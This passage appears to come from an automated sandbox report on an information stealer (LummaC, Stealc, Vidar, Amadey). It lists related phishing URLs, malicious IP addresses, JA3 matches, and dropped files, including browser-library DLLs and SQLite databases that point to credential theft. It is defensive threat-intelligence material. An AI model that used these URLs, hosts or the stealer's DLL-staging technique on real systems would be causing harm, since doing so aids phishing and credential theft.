	Ref#130709.vbe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	https://geniboss.com/post/r/	Get hash	malicious	Phisher	Browse	1.1.1.1
	https://reviewfile.z13.web.core.windows.net/	Get hash	malicious	Unknown	Browse	104.16.20.118
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Payslip Notification #5800210900 11112024.eml	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://research.baylandhaelth.com/L5jX/#M	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
AKAMAI-ASUS	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.192.247.89
	https://geniboss.com/post/r/	Get hash	malicious	Phisher	Browse	2.16.202.98
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	Payslip Notification #5800210900 11112024.eml	Get hash	malicious	Unknown	Browse	2.19.225.248
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.50.98.133
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.192.247.89
	GE AEROSPACE _WIRE REMITTANCE.xlsx	Get hash	malicious	Unknown	Browse	2.19.126.143
	THE COSTS INCURRED PENDING (1).pdf	Get hash	malicious	Unknown	Browse	104.126.112.182
	Complete_with_DocuSign_49584.pdf	Get hash	malicious	HTMLPhisher	Browse	23.47.168.24
	bin.sh.elf	Get hash	malicious	Mirai	Browse	23.42.226.0
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Ref#130709.vbe	Get hash	malicious	MassLogger RAT	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://reviewfile.z13.web.core.windows.net/	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	mmd khr.exe	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://research.baylandhaelth.com/L5jX/#M	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://t.ly/RpFMV	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	mmd khr.exe	Get hash	malicious	Babuk	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://sm6.co/redsbbch	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://dp0gl1.fj84.fdske.com/e/c/01jcddej3zhmq2g9dn4vhatbr0/01jcddej3zhmq2g9dn4vtrz93v	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	test.html	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3 23.192.247.89
	90876654545.exe	Get hash	malicious	DBatLoader, FormBook	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3 23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3 23.192.247.89
	Scan112024.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3 23.192.247.89
	Consulta de encomenda N#U00ba TM06-Q2-11-24.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3 23.192.247.89

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAFIEGIECGCBKFIEBGCAAFIEBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFCFCAAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGDAAFIIJDAAAAKFHID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCFHDAKECFIDGDGDBKJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GHJKJDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDGHJEBFBFHIIECAECGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJKJDAFHJDHIEBGCFIDBKKFCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\a247c36bcc.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005543001\a247c36bcc.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
